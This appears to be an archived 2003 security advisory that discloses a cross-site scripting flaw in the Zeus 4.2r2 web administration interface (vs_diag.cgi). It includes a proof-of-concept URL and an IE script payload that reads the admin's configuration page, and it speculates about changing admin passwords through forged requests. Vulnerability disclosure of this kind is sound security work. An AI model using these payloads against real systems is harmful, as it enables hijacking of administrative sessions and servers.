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TUCoPS :: Web :: Servers :: bt305.txt

ZEUS Server web admin XSS!







Hi,



another XSS, now on the ZEUS web admin interface.

The tested software is Zeus 4.2r2 (webadmin-4.2r2) on Linux x86



This is not the same issue as bid 6144 (index.fcgi),

now is on "vs_diag.cgi".



Exploit is simple:



http://<target>:9090/apps/web/vs_diag.cgi?server=<YOUR_CODE>



I have read this post: (http://www.securityfocus.com/archive/1/302961), 

regarding "index.fcgi" XSS.Mr, Colin Watson, claims that XSS bug on their 

software is not a big risk because: "The Zeus Administration Server uses 

cookies to record several items oftransient state: the state of the 

folding list of groups of virtualservers, and the list of currently 

monitored variables and machines ifreal-time monitoring is in place.  It 

does not use cookies to store any security-sensitive information (...)" 



Who needs cookies? :-) ZEUS uses "Basic Auth" (base 64 encoded) for the 

session tracking...but ZEUS does not allow http TRACE method, so we can 

not run a XST (Cross Site Tracing) against it :-(

I know litle about client side scripting, but probably there's some way to 

send POST requests and... change the admin password?, stop the web 

server?... I'm quite sure there's some way to do this.



With the script we show below an attacker can do an HTTP request to the 

web admin interface of the ZEUS and redirect the output...  

Of course you have to trick the admin...



http://<target>:9090/apps/web/vs_diag.cgi?server=&lt;script&gt;function%20pedo()

{var%20xmlHttp%20=%20new%20ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open

("GET","http://<target>:9090/apps/web/global.fcgi",false);xmlHttp.send

();xmlDoc=xmlHttp.responseText;document.write(xmlDoc);}pedo();alert("Have%

20you%20enabled%20the%20protection%20of%20your%20ZEUS...?%20We%20can%20rip%

20this%20info!%20Much%20more%20evil%20actions%20are%20possible...")

&lt;/script&gt;



This is for IE, for other browsers you may modify this code.

Imagination is the best friend of the attacker. Open your minds, XSS does 

not only means execution of commands on the client side... succefully 

exploited, in some scenarios (like web admin interfaces) those bugs can 

lead on execution of commands on the server side... 



See you,



Hugo Vázquez Caramés & Toni Cortés Martínez

INFOHACKING RESEARCH 2003

www.infohacking.com

Barcelona

Spain


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